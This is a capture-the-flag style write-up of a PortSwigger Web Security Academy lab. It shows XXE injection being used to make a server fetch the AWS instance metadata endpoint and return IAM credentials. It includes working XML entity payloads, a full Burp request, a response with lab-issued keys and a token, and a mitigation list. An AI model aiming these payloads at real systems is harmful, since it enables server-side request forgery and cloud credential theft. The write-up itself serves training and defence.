

Exploiting XXE to perform SSRF attacks

Topic: XXE Injection | Difficulty: Apprentice

Description

The XML parser processes external entities that reference HTTP URLs. By declaring an external entity pointing to the AWS instance metadata endpoint (`http://169.254.169.254/`), the server fetches the URL and returns its contents, exposing internal IAM credentials.

Steps to Exploit

1. Navigate to a product page and click 'Check stock'.
2. Intercept the POST request in Burp Suite.
3. Inject a DOCTYPE with an external entity referencing `http://169.254.169.254/`
4. Reference the entity in `productId` and forward the request.
5. The response returns 'latest' -- append it to the URL and repeat.
6. Continue navigating: `/latest/meta-data/` then `/iam/security-credentials/`
7. The final response reveals the IAM role name (e.g., 'admin').
8. Set the entity URL to `.../iam/security-credentials/admin` to retrieve the credentials.

Proof of Concept

Step 1 -- Initial SSRF payload:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/">
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>
```

Step 1 Response:

```
latest
```

Final payload (after traversal):

```
<!ENTITY xxe SYSTEM
"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
```

Final Response:

```
SecretAccessKey, Token, and IAM credentials returned.
```

Impact

- Server-side request forgery to internal network services.
- Exposure of cloud IAM credentials and access tokens.
- Ability to interact with internal APIs not exposed to the internet.
- Potential for full cloud account takeover via stolen IAM credentials.

Mitigation / Remediation

1. Disable external entity processing in all XML parsers.
2. Block outbound HTTP requests to internal IP ranges (169.254.x.x, 10.x.x.x, 192.168.x.x).
3. Implement IMDSv2 with session-oriented requests to limit metadata exposure.
4. Monitor and alert on unexpected outbound requests from the application server.

CVSS Score

CVSS v3.1: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVSS Justification

- Attack Vector: Network - remotely exploitable.
- Attack Complexity: Low - simple XML injection.
- Privileges Required: None.
- User Interaction: None.
- Confidentiality: High - IAM credentials exposed.
- Integrity: High - stolen credentials allow resource manipulation.
- Availability: None.

XXE SSRF

Proof of Concept — Exploitation Evidence

1. Burp Suite — Injected Payload & Server Response

The screenshot displays the Burp Suite interface with the 'Repeater' tab selected. The target URL is `https://0a3d004204d422d280a34e9a005b0055.web-security-academy.net`. The request is a POST to `/product/stock` with the following headers and body:

```
POST /product/stock HTTP/2
Host: 0a3d004204d422d280a34e9a005b0055.web-security-academy.net
Cookie: session=W1w1QeGvJXvFz99XwY23vnqokeveTEI
Content-Length: 238
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a3d004204d422d280a34e9a005b0055.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3d004204d422d280a34e9a005b0055.web-security-academy.net/product?productid=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM
"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"
> ]>
<stockCheck>
  <productId>
    &xxe;
  </productId>
  <storeId>
    1
  </storeId>
</stockCheck>
```

The response is a 400 Bad Request with the following headers and body:

```
HTTP/2.0 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 552

{"Invalid product ID: {
  "Code": "Success",
  "LastUpdated": "2026-06-21T18:01:04.314407424Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "NQ2wsk8XM10XnWlqLZap",
  "SecretAccessKey": "0ZzuYe9qmY5tbbgEde03PBmvbzkMGcLYy3vGHDhy",
  "Token": "uSCUB15GofvCEfVEtU094jvvEzqcmyp08VTCyb05C0FsMFCofLM0XqpK3ariBeIAwFICIEGyY16
ttomIEN4278mIRfQRjwTDCVRw8rB8nGcoPNLbLeek7BddhTT4wyVcGdNPFZdASB2MaevH5WLGyHub
GTMgbStGAM0giWmWooE5WbZ6AFZxvjIE3Ns55eR3boleaMjhGwQumZ19mBXkhrP83ISF9xz71L
0g2v1rF5isdmrzgn0ckz10F15",
  "Expiration": "2032-06-19T18:01:04.314407424Z"
}"}>
```

The Inspector panel on the right shows the request attributes, query parameters, cookies, headers, and response headers. The status bar at the bottom indicates 675 bytes and 199 milliseconds.

Request intercepted/modified in Burp Suite showing the payload and the resulting response.

2. Lab Solved Confirmation

Lab: Exploiting XXE to perform SSRF attacks

Exploiting XXE to perform SSRF attacks

LAB Solved

WebSecurity Academy

Back to lab description >>

Congratulations, you solved the lab!

Share your skills!   Continue learning >>

Conversation Controlling Lemon

★★★★★

\$34.99



Description:

PortSwigger lab status changed to "Solved" after exploitation.